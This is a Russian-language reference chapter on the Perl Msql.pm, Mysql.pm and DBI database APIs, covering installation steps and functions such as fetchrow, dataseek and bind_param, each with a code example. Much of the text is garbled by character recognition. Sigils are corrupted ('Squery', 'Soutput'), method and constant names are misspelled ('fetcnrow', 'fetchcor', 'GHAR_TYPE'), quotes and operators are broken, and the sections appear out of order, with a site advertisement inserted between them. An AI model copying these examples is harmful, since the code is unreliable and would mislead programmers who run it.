Msq1: :Statement: :as_string возвращает данные, содержащиеся в описателе команды, в виде аккуратно отформатированной таблицы ASCII. Таблица аналогична тем, которые выводит монитор msql. Программа pmsql, поставляемая с модулем Msql.pm, использует эту функцию для создания своих таблиц.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $query = "SELECT * FROM mytable";

my $mytable_output = $db->query($query);

print "Моя таблица:\n", $mytable_output->as_string;

# Выводится вся таблица в гораздо более приемлемом виде,

# чем в примере Msql:[Statement:ifetchhash.

Msql::Statement::dataseek

$statement_handle->dataseek($row_number);

Msql: :Statement: :dataseek принимает в качестве аргумента номер строки. Функция переустанавливает данные, так что следующий вызов Msql: :Statement: :fetchrow или Msql: Statement: :fetchhash возвращает данные указанной строки. Если указанный номер строки выходит за границы таблицы, указатель устанавливается на конец таблицы и при следующем вызове будет возвращено неопределенное значение undef. Первая строка таблицы имеет номер 0.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my Squery = "SELECT name, date FROM myothertable";

my $myothertable_output = $db->query($query);

my @names = $myothertable_output->fetchcol(0);

my @dates = $myothertable_output->fetchcol(1);

# Теперь указатель установлен в конце таблицы.

$myothertable_output->dataseek(0);

# Теперь указатель установлен на начало таблицы,

print "Это первая строка данных: ", $myothertable_output->fetchrow, "\n".

Msql::Statement::fetchcol

@column_of_data = $statement_handle->fetchcol($column_number);

Msql: :Statement: :fetched принимает в качестве аргумента номер колонки и возвращает массив всех значений, находящихся в этой колонке. Каждый вызов возвращает значения в колонке в одинаковом порядке, поэтому значения с одинаковым номером элемента находятся в одной строке данных. Первая выдаваемая колонка имеет номер 0. Для выполнения этого вызова модуль должен считать всю таблицу, поэтому, если вы хотите продолжить просмотр таблицы после вызова этой функции, переустановите данные с помощью Msql::Statement: :dataseek . Если задан недопустимый номер колонки, возвращается неопределенное значение undef.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $query = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";

my $myothertable_output = $db->query($query);

my @names = $myothertable_output->fetchcor(0);

# @names содержит теперь все имена.

my @dates = $myothertable_output->fetchcol(1);

# ©dates содержит теперь все даты.

for (0..$#names) {

print "Row $_: $names[$_], $dates[$_]\n"; }

Msql::Statement::fetchhash

%hash ='$statement_handle->fetchhash;

Msql::Statement: :fetchhash возвращает текущую строку описателя команды как ассоциативный массив (или хэш). Ключами хэша служат имена полей, а значениями - значения данных текущей строки. Каждое последующее обращение к функции возвращает очередную строку данных. Когда данных больше нет, функция возвращает неопределенное значение undef.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $query = "SELECT * FROM mytable";

my $mytable_output = $db->query($query);

my %first_data_row = $mytable_output->fetchhash;

my @fields = keys %first_data_row;

# @fields содержит теперь имена всех полей. В результате, фактически нет

# нужды использовать Msql::listfields, поскольку ее данные и многие

If другие можно получить через описатель команды, возвращаемый

# Msql::query.

my (%data_row);

print ]oin("", ©fields), "\n';

print "-"x70;

print join("", values(%first_data_row);

print join("", values(%data_row)) while %data_row = $mytable_output-

>fetchhash;

# Таким образом распечатывается вся таблица, хотя и в невыравненном

# формате.

Msql::Statement::fetchrow

@row_of_data = $statement_handle->fetch row;

Msql:: Statement: : fetch row возвращает очередную строку данных из описателя команды, созданного Msql:.-query. Каждое последующее обращение к Msql: Statement: :fetchrow возвращает очередную строку данных. Когда данных больше нет, функция возвращает неопределенное значение undef. Элементы в результирующем массиве упорядочены в соответствии с исходным запросом. Если запрос имел вид SELECT*FROM ... , то элементы упорядочиваются в соответствии с последовательностью определения полей в таблице.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $query1 = "SELECT * FROM mytable";

my $query2 = "SELECT name, date FROM myothertable WHERE name LIKE

'Bob%'";

my $mytable_output = $db->query($query1);

my $myothertable_output = $db->query($query2);

my $i = 0;

# Чтение строк данных будет продолжаться,

# пока их больше не останется.

while (my(@mytable_rows)=$mytable_output->fetcnrow) {

print "Строка ",$i++,": ".join(', ',@mytable_rows)."\n";

# Если неизвестна структура таблицы 'mytable',

# нельзя узнать число элементов в @mytable_rows или их порядок.

}

my (Sname, $date);

# Это первая строка данных в $myotrertable_output.

($name, $datc) = $myothertaPle_output->fetchrow;

# Это следующая строка...

($name, $date) = $myothertable_output->fetchrow;

# И еще одна...

my @name_and_date = $myothertable_output->fetchrbw;

# и т.д....

Msql::Statement::isnotnull

@not_null = $statement_handle->isnotnull;

Msql:: Statement: :isnotnull возвращает список булевых значений, указывающих для каждой из содержащихся в описателе команды колонки, была ли она определена как 'NOT NULL'. При вызове в скалярном контексте функция возвращает ссылку на массив.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my Soutput = $db->query("select * from mydata");

my @names = $output->name;

my @not_null = $output->isnotnull;

for (0..$#not_null) {

print "$names[$_]не может быть null\n"

if $not_null[$_]; }

Msql::Statement::isnum

@numbers = $statement_handle->isnum;

Msql: : Statement: : isnum возвращает список булевых значений, указывающих для каждой из содержащихся в описателе команды колонки, является ли она числовой. При вызове в скалярном контексте функция возвращает ссылку на массив. «Числовая» означает тип, например, 'INT' или 'REAL', но не число в поле типа 'CHAR' или 'TEXT'.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $output = $dD->query("select name, date from myothertable");

print "Name является числом"

if $output->isnum->[0];

print "Date является числом"

if $output->isnum->[1];

Msql::Statement::isprikey

@primary_key = $statement_handle->isprikey;

Msq1::Statement: :isprikey возвращает список булевых значений, указывающих для каждой из содержащихся в описателе команды колонки, является ли она первичным ключом. При вызове в скалярном контексте функция возвращает ссылку на массив. Эта функция всегда возвращает список, состоящий из нулей, при соединении с сервером mSQL 2, поскольку в mSQL 2 не используются первичные ключи. Однако она может быть полезна с серверами mSQL 1, поскольку в них реализованы первичные ключи.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $output-= $db->query("select * from mytable");

my @prikeys = $output->isprikey;

my $number_of_prikeys = scalar @prikeys;

print "В этом описателе команды $number_of_prikeys первичных ключей. ",

"В запросе участвует не меньшее число различных таблиц, поскольку ".

"в каждой таблице может быть только один первичный ключ\n";

Msql::Statement::length

@lengths = $statement_handle->length;

Msql::Statement::length возвращает список максимально возможных длин для колонок, содержащихся в описателе команды. Это значения, определенные как максимальные при создании таблицы. При вызове в скалярном контексте функция возвращает ссылку на массив.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $output = $db->query("select- * from mytable");

my @types = $output->type;

my @lengths = $output->length;

for (0..$#types) {

if ($types[$_] == &Msql: :CHAR_TYPE and $lengths[$_] > 1000000) {

print "В этой таблице у вас есть одно о-очень большое поле CHAR!\";

} }

Msql::Statement::listindices

Pindices = $statement_handle->listindices;

Msql: : Statement: :listindices возвращает индексы, связанные с какими-либо полями в описателе команды. Поскольку функция непосредственно ищет имена полей, она полезна только для имен, возвращаемых Msql: : listf ields . Если индексы не обнаружены, возвращается неопределенное значение undef. Эту функцию можно использовать только с серверами mSQL 2.0 или последующих версий.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $mytable_fields = $db->listfields('mytable');

my ©indices = $mytable_fields->listindices;

print "B 'mytable' есть следующие индексы: " . join(", ",@indices) .

"\n;

Msql::Statement::maxlength

@max_lengths = $statement_handle->maxlength; '

Msql::Statement: :maxlength возвращает список фактических максимальных размеров всех полей таблицы. При вызове в скалярном контексте функция возвращает ссылку на массив. Поскольку сервер mSQL прямо не сообщает эти данные, она реализована путем чтения всей таблицы и поиска максимального значения для каждого поля. Поэтому в mSQL эта функция может потребовать много ресурсов, если запрос возвращает большой объем данных.

Пример

use Msql;

$db = Msql->connect;

$db->selectdb('mydata');

my Soutput = $db->query('select name, date from myothertable');

print "Самое длинное имя имеет длину " . $ouput->maxlength->[0] . " символов,\n";

Msql::Statement::name

@column_names = $statement_handle->name;

Msql:: Statement:: name возвращает имена колонок данных, содержащихся в описателе команды. При вызове в скалярном контексте функция возвращает ссылку на массив. Как и для Msql::Statement::table , скалярное значение этого списка (в противоположность значению функции при вызове в скалярном контексте) совпадает со значением Msql::Statement::numfields

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $output = $db->query("select * from mytable");

my @column_names = $output->names;

# Теперь @column_names - список колонок 'mytable'

Msql::Statement::numfields

$number_of_fields = $statement_handle->numfields;

Msql:: Statement: : numf ields возвращает число полей в каждой строке результирующих данных, содержащихся в описателе команды. Во всех выходных данных есть хотя бы одно поле, поэтому данная функция возвращает положительное число для всех определенных описателей команд.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $output = $db->query("select * from mytable");

my $numfields = $output->numfields;

my $numrows = $output->numrows;

print "В каждой строке таблицы 'mytable' $numfields полей \n";

print "Всего имеется Snumrows строк данных. Поэтому 'mytable'\n";

print "содержит" . ($numfields*$numrows) . " элементов данных.\n";

Msql::Statement::numrows

$number_of_rows = $statement_handle->numrows;

Msql: : Statement: : numrows возвращает число строк, содержащихся в описателе команды. Для описателя, который не может содержать строк, например, возвращаемого Msql: :listfields , функция возвращает строку 'N/A.' Если описатель может содержать строки, но их нет - например, он возвращен SELECT, для которого не найдено соответствия, -функция возвращает 0.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my Soutput = $db->query("select * from mytable");

my $numrows = '$output->numrows;

print "B 'mytable' содержится $numrows строк данных\n";

Msql::Statement::table

@tables = $statement_handle->table;

Msql: :Statement: :table возвращает список таблиц, связанных с колонками данных, содержащимися в описателе команды. (См. выше в Msql: : Statement: : isnum пример использования ссылки на массив.) Даже если запрос использовал только одну таблицу, для каждой колонки есть один элемент. Побочным эффектом является то, что скалярное значение массива, возвращаемого $statement_handle->table , совпадает со значением $statement_handle->numfields .

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my Soutput = $db->query('select myothertable. name, myothertable.date,

mythirdtable. name from myothertable, mythirdtable where myothertable. name

= mythirdtable. name');

my @tables = $output->table;

# @tables содержит теперь ('myothertable', 'myothertable', 'mythirdtable')

Msql::Statement::type

@column_types = $statement_handle->type;

Msql: : Statement: : type возвращает типы колонок данных, содержащихся в описателе команды. При вызове в скалярном контексте функция возвращает ссылку на массив. Сам по себе этот массив не очень интересен для большинства пользователей (в текущей реализации это массив целых чисел), однако эти значения можно сравнивать со встроенными значениями, определенными в Msql.pm, такими как &Msql: : CHAR_TYPE и &Msql: : INT_TYPE. Один из путей использования этих данных - создание массива с читаемыми названиями, соответствующими предустановленным типам. Этот метод был продемонстрирован в главе 10 «Perl». Другой способ показан ниже.

Пример

use Msql;

my $db = Msql->connect;

$db->selectdb('mydata');

my $output = $db->query("select name, date from myothertable");

my ($name_type, $date_type) = $output->type;

for ($name_type) {

$_ eq &Msql: :CHAR_TYPE and do {

print ''name является CHAR';

last;

} $_ eq &Msql::INT_TYPE and do {

print 'name является INT'; last; } # и т.д....

}

# повторить для $date_type

Msql::sock

$sock = $db->sock;

Msql::sock возвращает скаляр, содержащий номер сокета, использованного для подключения к серверу mSQL. Обычно это полезно только при действительно изощренном программировании.

Пример

use Msql;

my $db = Msql->connect;

my $sock = $db->sock;

print "Я подключен к сокету $sock.\n";

Msql::*_TYPE

Msql.pm предоставляет следующие функции, соответствующие типам данных mSQL:

&Msql::CHAR_TYPE &Msql::INT_TYPE &Msql::REAL_TYPE &Msql::IDENT_TYPE

&Msql::TEXT_TYPE &Msql::IDX_TYPE &Msql::NULL_TYPE &Msql::DATE_TYPE

&Msql::UINT_TYPE &Msql::MONEY_TYPE &Msql::TIME_TYPE &Msql::SYSVAR_TYPE

Пример

use Msql;

%types = (

'CHAR' =>
 &Msql::GHAR_TYPE, 'INT' => &Msql::INT_TYPE, 'REAL' => &Msql::REAL_TYPE,
 'SYSVAR' => &Msql::SYSVAR_TYPE, 'TIME' => &Msql::TIME_TYPE, 'MONEY'
 => &Msql::MONEY_TYPE, 'UINT' => &Msql::UINT_TYPE, 'TEXT' =>
 &Msql::TEXT_TYPE, 'NULL' => &Msql::NULL_TYPE, 'DATE' => &Msql::DATE_TYPE,
 'IDENT' => &Msql::IDENT_TYPE, 'IDX' => &Msql::IDX_TYPE,

);

# $types{'CHAR'} является теперь легкодоступным псевдонимом для

# &Msql::CHAR_TYPE. Наличие значений в %types дает доступ ко всем

# удобным функциям работы с хешами, такими как keys() и values().

$Msql::VERSION

В переменной $Msql:: VERSION содержится номер версии модуля Msql.pm.

Пример

use Msql;

print "Вы используете Msql.pm версии $Msql::VERSION.\n";

Mysql.pm API

Mysql.pm API идентичен Msql API (с заменой всюду «Msql» на «Mysql»), за исключением следующих отличий:

Mysql::connect

$db = Mysql->connect($host, Sdatabase, $user, $password);

Помимо трех методов соединения, совпадающих с Msql: :connect , в Mysql:: connect есть четвертый метод, требующий передачи пароля в качестве дополнительного аргумента. Первый аргумент - имя узла или IP-адрес сервера MySQL. Если в качестве этого аргумента передается undef, модуль соединяется с сонетом Unix на локальном узле. Второй аргумент является именем первоначально выбираемой базы данных. Его всегда можно впоследствии изменить с помощью Mysql: :selectdb . Можно передать undef в качестве второго аргумента, чтобы не выбирать исходной базы данных. Третий аргумент является именем пользователя для соединения с базой данных. Для успешного соединения имя пользователя должно присутствовать в таблицах доступа MySQL. Последний аргумент является паролем пользователя.

Пример

use Mysql;

$db = Mysql->connect(undef,'mydata','webuser1, 'super_secret_squirrel');

# Теперь описатель базы данных соединен с локальным сервером MySQL и

# использует базу данных 'mydata1.

# Использовано имя пользователя 'webuser' для

# соединения с паролем 'super_secret_squirrel'.

Mysql::errno

$error_number = $db->errno;

Mysql: :errno возвращает код последней ошибки. Код соответствует сообщению об ошибке, возвращаемому Msql: : errmsg .

Пример

use Mysql;

my $db = Mysql->connect(undef,'mydata','webuser', 'super_secret_squirrel');

# В этом запросе есть синтаксическая ошибка...

my $output = $db->query( 'SELECT * from mydata');

if (not $output) {

print "Ошибка " . $output->errno . ": " . $output->errfnsg . "\n"; }

Mysql::FIELD_TYPE_*

Помимо функций типов данных Mysql: :TYPE_ *, идентичных функциям Msql::TYPE *, Mysql.pm предоставляет следующие дополнительные функции типов данных:

&Mysql::FIELD_TYPE_BLOB
 &Mysql::FIELD_TYPE_CHAR &Mysql::FIELD_TYPE_DECIMAL &Mysql::FIELD_TYPE_DATE
 &Mysql::FIELD_TYPE_DATETIME &Mysql::FIELD_TYPEJ)OUBLE &Mysql::FIELD_TYPE_FLOAT
 &Mysql: : FIELD_TYPE_INT24 &Mysql::FIELD_TYPE_LONGLONG &Mysql::FIELD_TYPE_LONG_BLOB
 &Mysql::FIELD_TYPE_LONG &Mysql::FIELD_TYPE_MEDIUM_BLOB &Mysql::FIELD_TYPE_NULL
 &Mysql::FIELD_TYPE_SHORT &Mysql::FIELD_TYPE_STRING &Mysql::FIELD_TYPE_TIME
 &Mysql::FIELD_TYPE_TIMESTAMP &Mysql::FIELD_TYPE_TINY_BLOB &Mysql::FIELD_TYPE_VAR_STRING

Пример

use Mysql;

my $db = Mysql->connect(undef, 'mydata');

my Soutput = $db->query("SELECT name, data from myothertable");

if ($output->type->[0] = &Mysql::FIELD_TYPE_STRING) {

print "Name является STRING.\n"; }

Mysql::Statement::affectedrows

$number_of_affected_rows = $statement^handle->affectedrows;

Msql: :Statement: :affectedrows возвращает число строк, обработанных запросом. Эта функция полезна, поскольку Mysql.pm возвращает описатель команды для запросов, не являющихся командами SELECT.

Пример

use Mysql;

my $db = Mysql->connect(undef,'mydata');

my $output = $db->query("UPDATE mytable set name='bob' where

name='joe'");

print $output->affectedrows . " строк обновлено.\n";

Mysql::Statement::info

$info = $sth->info;

Mysql: : Statement:: info возвращает дополнительные результаты некоторых запросов, для которых в Mysql.pm нет специальных функций, таких как ALTER TABLE и LOAD DATA INFILE . Например, при использовании LOAD DATA INFILE функция Mysql: : Statement:: info возвращает число вставленных записей, число удаленных, число пропущенных и число элементов, которые невозможно синтаксически разобрать.

Пример

use Mysql;

$db = Mysql->connect(undef,'mydata');

my $output = $db->query("LOAD DATA INFILE 'mydata.dat' INTO TABLE mytable");

my $info = $output->info($output);

print «Результат работы LOAD DATA: $info\n»;

Mysql::Statement::insertid

$new_id = $statement_handle->insertid;

Функция Mysql::Statement::insertid возвращает текущее значение поля auto_increment (если такое имеется) в таблице. Если в таблице нет поля auto_increment , она возвращает неопределенное значение undef.

Пример

use Mysql;

my $db = Mysql->connect(undef,'mydata');

my $output = $db->query(

"INSERT into mytable (id, name, date) VALUES ('','bob', 'today')";

my $new_id = $output->insertid;

print "Bob был введен с ID, равным $new_id.\n";

Mysql::Statement::isblob

@blobs = $statement_handle->isblob;

Mysql: : Statement:: isblob возвращает список булевых значений, указывающих на то, имеют ли содержащиеся в описателе команды поля тип BLOB. При вызове в скалярном контексте функция возвращает ccылку на массив.

Пример

use Mysql;

$db = Mysql->connect(undef,'mydata');

my $output = $db->query('SELECT name, data from myothertable');

if ($output->isblob->[0]) {

print "Name является полем BLOB.\n"; }

else {

print "Name не является полем BLOB.\n"; }

Mysql::query

В отличие от MsqLpm, Mysql.pm возвращает описатель команды даже для запросов, не являющихся командами SELECT, например, для запросов INSERT, UPDATE и DELETE.

Пример

use Mysql;

my $db = Mysql->connect(undef,'mydata');

my $outpuf= $db->query("UPDATE mytable set name='joe' where

name='bob' ");

# $output является описателем команды.

Поиск книг в интернет магазине Болеро

Поиск DVD в интернет магазине DVD DOM
Внимание! Money-Hunting.Ru - Интересная Online Игра с Денежными Призами.


  • Глава №21. Справочник по Perl
    • Установка
    • DBI.pmAPI
    • Msql.pm API.
    • Mysql.pm API

Глава №21

Справочник по Perl

Установка

Для использования интерфейсов mSQL и MySQL к модулям DataBase Dependent/DataBase Independent (DBI/DBD) или MsqlPerl и MysqlPerl необходимо иметь следующие компоненты:

Perl 5

В вашей системе должны быть установлены работающие экземпляры Perl 5. Ко времени написания этой книги последний релиз Perl имел номер 5.005_02. Следует пользоваться по меньшей мере Perl 5.004, поскольку в более ранних версиях были ошибки, связанные с защитой. Более подробные сведения о Perl, включая адреса для загрузки, можно найти по адресу: http://www.perl.com .

DBI

Независимую от базы данных часть модуля DBI/DBD можно загрузить из Comprehensive Perl Archive Network (CPAN). На момент написания книги последней версией был DBI-0.90. Он находится на http://www.perl.com/CPAN/authors/id/TIMB/DBI/DBI-l.06.tar.gz .

Data::ShowTable

Модуль Data::ShowTable упрощает отображение больших объемов данных. Это требуется для модулей Msql-Mysql. Последняя версия - Data-ShowTable-З.З, ее можно найти по адресу: http://www.perl.com/CPAN/authors/id/AKSTE/Data-ShowTable-3.3.tar.gz.

mSQL и /или MySQL

В главе 3 «Установка» подробно рассказано о том, как получить и установить серверы баз данных mSQL и MySQL.

Компилятор С и сопутствующие средства

Для модулей MsqlPerl и MysqlPerl необходим ANSI-совместимый компилятор С, а также обычные сопутствующие средства, такие как make, Id и т. д. Вам должно хватить тех средств, с помощью которых вы собрали Perl. Если у вас нет этих инструментов, компилятор GNU С и все необходимые поддерживающие программы можно бесплатно получить на ftp://ftp.gnu.org/pub/gnu/ .

В настоящее время модули Msql-Mysql поддерживает Йохен Видман (Jochen Wiedmann), чье ID в CPAN выглядит как JWIED. Поэтому текущие модули Msql-Mysql всегда можно найти на http://www.perl.com/ authors/id/ JWIED. На момент написания книги текущей версией была Msql-Mysql-modules-1.2017.tar.gz.

После загрузки пакета разархивируйте его:

tar xvzf Msql-Mysql-modules-1.2017.tar.gz

cd Msql-Mysql-modules-1.2017

В каталоге дистрибутива есть файл INSTALL, содержащий несколько советов по установке. Сначала нужно выполнить файл Makefile.PL:

perl Makefile.PL

Эта команда сначала спрашивает, желаете ли вы установить модули для mSQL, MySQL или те и другие. Можно установить модули для любого установленного вами сервера баз данных.

После проверки системы программа запрашивает местоположение установки mSQL. Это каталог, содержащий подкаталоги lib и include, в которых расположены библиотеки и включаемые файлы mSQL. По умолчанию этим каталогом является /usr/local /Hughes, но обязательно проверьте это, поскольку во многих системах используется /usr/local или даже /usr/local/Minerva.

Затем сценарий установки запрашивает путь к MySQL. Как и в случае mSQL, это каталог, содержащий надлежащие подкаталоги lib и include, по умолчанию - /usr/local. Это расположение верно для большинства установок, но следует обязательно проверить, не используются ли другие каталоги.

После установки сценарий создает соответствующие make-файлы и завершается. Затем нужно запустить make и скомпилировать файлы.

make

Если вы правильно установили Perl, mSQL и/или MySQL, то команда make должна пройти без ошибок. После завершения ее работы будут созданы все модули, и единственное, что останется - это протестировать и установить их.

make test

Во время выполнения по экрану пробегает ряд отладочных имен, за каждым из которых должно следовать . . . ok. И наконец, нужно установить модули.

make install

У вас должно быть разрешение записи в каталог установки Perl. Кроме того, необходимо иметь разрешение на запись в системный каталог для программ (обычно /usr/local/bin или /usr/bin), чтобы установить поставляемые с модулем вспомогательные программы pmsql, pmysql и dbimon.

DBI.pmAPI

DBI API является стандартным API баз данных в Perl. Поэтому, хотя MsqPerl и MysqlPerl могут быть более распространены в унаследованных программах, новые программы следует писать с использованием DBI.

use

use DBI;

Следует объявлять во всех программах Perl, использующих модуль DBI.

DBI::available_drivers

@available_drivers = DBI->available_drivers;

@available_drivers = DBI->available_drivers($quiet);

DBI: :available_drivers возвращает список имеющихся драйверов DBD. Функция выполняет это, осуществляя поиск модулей DBD в дистрибуции Perl. Если в аргументе не передано значение true, то при обнаружении двух одноименных модулей DBD выводится предупреждение. В текущем дистрибутиве Msql-Mysql драйвер для mSQL называется 'mSQL', а драйвер для MySQL - 'mysqP.

Пример

use DBI;

my @drivers = DBI->available_drivers;

print "Доступны следующие драйверы:\n" . join("\n",@drivers) . "\n Ho нас интересуют только mSQL и mysql. :)\n";

DBI::bind_col

$result = $statement_handle->bind_col($col_num, \$col_variable, \%unused);

DBI: :bind_col связывает колонку команды SELECT с переменной Perl. При всяком чтении или изменении колонки изменяется значение соответствующей переменной. Первым аргументом является номер колонки в команде, при этом колонки нумеруются с 1. Второй аргумент — ссылка на переменную Perl, которая должна быть привязана к колонке. Необязательный третий аргумент ссылается на хэш атрибутов. В DBD: :mysql и DBD: :mSQL он не используется. При невозможности в силу каких-то причин сделать привязку функция возвращает неопределенное значение undef.

Пример

use OBI;

my $db = DBI->connect('DBI:mSQL:mydata', undef,undef);

my $query = "SELECT name, date FROM myothertable";

my $myothertable_output = $db->prepare($query);

my ($name, $date);

$myothertable_output->bind_col(1,\$name,undef);

$myothertable_output»bind_col(2, \$date, undef);

# Теперь $name и Sdate привязаны к соответствующим полям выходных данных.

$myothertable_output->execute;

while ($myothertable_output->fetch) {

# Каждый раз $name и $date автоматически изменяются.

print "Имя: $name Дата: $date\n"; }

DBI::bmd_columns

$result = $statement_handle->bincl_columns(\%unused, @list_of_refs_to_vars);

DBI: : bind_columns привязывает весь список скалярных ссылок к значениям соответствующих полей в выдаче. Первый аргумент функции -ссылка на хэш атрибутов, как в DBI: :bind_col . DBD::mSQL и DBD::mysql не используют этот аргумент. Последующие аргументы должны быть ссылками на скаляры. Скаляры можно с таким же успехом группировать в структуру \($var1, $var2) . Ссылок на скаляры должно быть ровно столько, сколько полей в выходных результатах, иначе выполнение программы будет прекращено.

Пример

use DBI;

my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

my $query = "SELECT name, date FROM myothertable";

my $myothertable_oulput = $db->prepare($query);

my ($name, $date);

$mynfhertable_outpul->bind_columns(undef, \($name, $daLe));

# $name и $date теперь привязаны к соответствующим полям в выдаче,

$myothertable_output->execute;

while ($myothertable_output->fetch)

{

# $name и $date каждый раз автоматически изменяются.

print "Имя: $name Дата: $date\n";

}

DBI::bind_param

$result = $statement_handle->bind_param($param_number, $bind_value);

$result = $statement_handle->bind_param($param_number, $bind_value, $bind_type);

$result = $statenent_handle->bind_param($param_number, $bind_value, \%bind_type);

DBI: : bind_param подставляет в команды действительные значения вместо меток-заполнителей '?' (см. OBI:: prepare). Первый аргумент - номер метки-заполнителя в команде, нумерация начинается с 1 (слева направо). Второй аргумент - подставляемое значение. Необязательный третий аргумент задает тип подставляемого значения. Это может быть скаляр или ссылка на хэш вида { TYPE => &DBI:: SQL_TYPE } , где 'SQL_TYPE' - тип параметра. На момент написания этой книги DBI поддерживал SQL-типы (недокументированные) SQL_CHAR, SQL_NUMERIC, SQL_DECIMAL, SQL_INTEGER, SQL_SMALLINT, SQL_FLOAT, SQL_REAL, SQL_DOUBLE и SQL_VARCHAR. Соответствие их фактическим типам, используемым DBD::mSQL и DBD::Mysql, не документировано. Тем не менее в таблице 21-1 приведен список соответствия на данный момент. Если подстановка невозможна, функция возвращает undef.

Таблица 21-1. Соответствие типов SQL

DBI | MSQL | MySQL
SQL_CHAR | CHAR TYPE | FIELD TYPE CHAR
 | IDENT TYPE | FIELD TYPE DATE
 | NULL TYPE | FIELD TYPE DATETIME
 | DATE TYPE | FIELD TYPE NULL
 | MONEY TYPE | FIELD TYPE TIMESTAMP
 | TIME TYPE | FIELD TYPE TIME
 | IDX TYPE |
 | SYSVAR TYPE |
 | ANY TYPE |
SQL_NUMERIC |  | FIELD TYPE LONG FIELD TYPE LONGLONG FIELD_TYPE_SHORT
SQL_DECIMAL |  | FIELD_TYPE_DECIMAL
SQLJNTEGER | INT_TYPE | FIELD_TYPE_INT24
SQL SMAL-LINT | UINT_TYPE | FIELD_TYPE_INT24
SQL_FLOAT |  | FIELD_TYPE_FLOAT
SQL_REAL | REAL TYPE LAST_REAL_TYPE | FIELD JTYPE_DOUBLE
SQLJDOUBLE |  | FIELD_TYPE_DOUBLE
SQL_VARCHAR | TEXT_TYPE | FIELD_TYPE_TINY BLOB FIELD_TYPE_MEDIUM BLOB FIELD TYPE BLOB FIELD TYPE LONG BLOB FIELD TYPE VAR STRING FIELD TYPE STRING

Пример

use DBI;

my $db = DBI->connect('DBD:msql:mydata','me','mypass');

my Sstatement = $db->prepare(

"SELECT name, date FROM myothertable WHERE name like ? OR name like ?");

$statement->bind_param(1,'J%','SQL_CHAR');

$statement->bind_param(2,'%oe%', { TYPE => &DBI::SQL_CHAR });

# Теперь команда будет такой:

# SELECT name, date FROM myothertable WHERE name like 'J%' or name like

'%oe%'

DBI::connect

$db = DBI->connect($data_source, $username, $password);

$db = DBI->connect($data_source, $username, $password, \%attributes);

DBI:: connect требует по крайней мере три аргумента и необязательный четвертый. Через возвращаемый описатель выполняются все операции с сервером базы данных. Первый аргумент является источником данных. Список имеющихся источников можно получить с помощью DBI: :data_sources . Для mSQL и MySQL формат источника данных 'DBI:mSQL:$database:Shostname:Sport' и 'DBI:mysql:Sdatabase:Shostname:Sport' соответственно. Можно опустить :Sport при соединении через стандартный порт. Аналогично можно опустить ': Shostname: Sport' при соединении с сервером на локальном узле с помощью сонета Unix. Имя базы данных указывать обязательно.

Второй и третий аргументы — имя пользователя и пароль для подключения к базе данных. Для mSQL оба аргумента должны иметь значение 'undef'. Если они заданы как 'jndef при работе с MySQL, то у пользователя, запустившего программу, должны быть права доступа к требуемым базам данных.

Последний аргумент необязателен и является ссылкой на ассоциативный массив. Данный хэш позволяет определить некоторые атрибуты соединения. В настоящее время поддерживаются только атрибуты PrintError, RaiseError и AutoCommit. Для сброса им нужно придать значение 0, для установки - какое-либо истинное значение. По умол-чаник) PrintError и AutoCommit включены, a RaiseError - сброшен. Поскольку в данное время ни mSQL, ни MySQL не поддерживают транзакции, атрибут AutoCommit должен быть установлен (более подробно см. Атрибуты).

При неудаче соединения возвращается неопределенное значение undef, и в $DBI;:errstr помещается ошибка.

Пример

use DBI;

my $db1 = DBI->connect('DBI: mSQL:mydata',undef,undef);

# Теперь $db1 представляет соединение с базой данных 'mydata'на локальном

# сервере mSQL.

my $db2 = DBI->connect( 'DBI:mysql:mydata:myser-ver.com','me','mypassword');

# Теперь $db2 представляет соединение с базой данных 'mydata' сервера MySQL

# 'myserver.com' через порт по умолчанию.

# При соединении использовались имя пользователя 'те' и пароль 'mypassword'.

my $db3 = DBI->connect('DBI:mSQL:mydata',undef,undef, {

RaiseError => 1 });

# Теперь $db3 - такое же соединение, как $db1, за исключением того, что

# установлен атрибут 'RaiseError'.

DBI::data_sources

@data_sources = DBI->data_sources($dbd_driver);

DBI: :data_sources принимает в качестве аргумента имя модуля DBD и возвращает все имеющиеся для этого драйверы базы данных в форма- " те, пригодном к использованию в качестве источника данных функцией DBI::connect . Программа заканчивает свое выполнение с ошибкой, если задано неверное имя драйвера DBD. В текущих версиях модулей Msql-Mysql драйвер для mSQL называется 'mSQL', а для MySQL -'mysql'.

Пример

use DBI;

my §msql_data_sources = DBI->data_sources('mSQL');

my @mysql_data_sources = DBI->data_sources('mysql');

# Должны быть установлены DBD::mSQL и DBO::mysql, иначе

# выполнение программы прекратится.

print "mSQL databases:\n" . join("\n",@msql_data_sources) , "\n\n";

print "MySQL databases:\n" . join("\n",@mysql_data_sources) . "\n\n";

DBI::do

$rows_affected = $db->do($statement);

$rows_affected = $db->do($statement, \%unused);

$rows_affected = $db->do($statement, \%unused, @bind_values);

DBI: : do непосредственно выполняет SQL-команду, не являющуюся командой SELECT, и возвращает число измененных строк. Этот способ быстрее, чем пара DBI: :prepare/DBI: :execute , требующая два вызова функции. Первый аргумент - сама команда SQL. Второй аргумент не используется в DBD::mSQL и DBD::mysql, но для других модулей DBD может содержать ссылку на хэш атрибутов. Последний аргумент -массив значений для подстановки в команду вместо меток-заместителей '?'. Подстановка происходит слева направо. Дополнительно DBI: : do автоматически заключит подставляемые строковые значения в кавычки.

Пример

use DBI;

my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

my $rows_affected = $db->do("UPDATE mytable SET name='Joe' WHERE name='Bob"');

print "$rows_affected Joe заменены на Bob's\n";

my $rows_affected2 = $db->do("INSERT INTO mytable (name) VALUES (?)", {}, ("Sheldon's Cycle"));

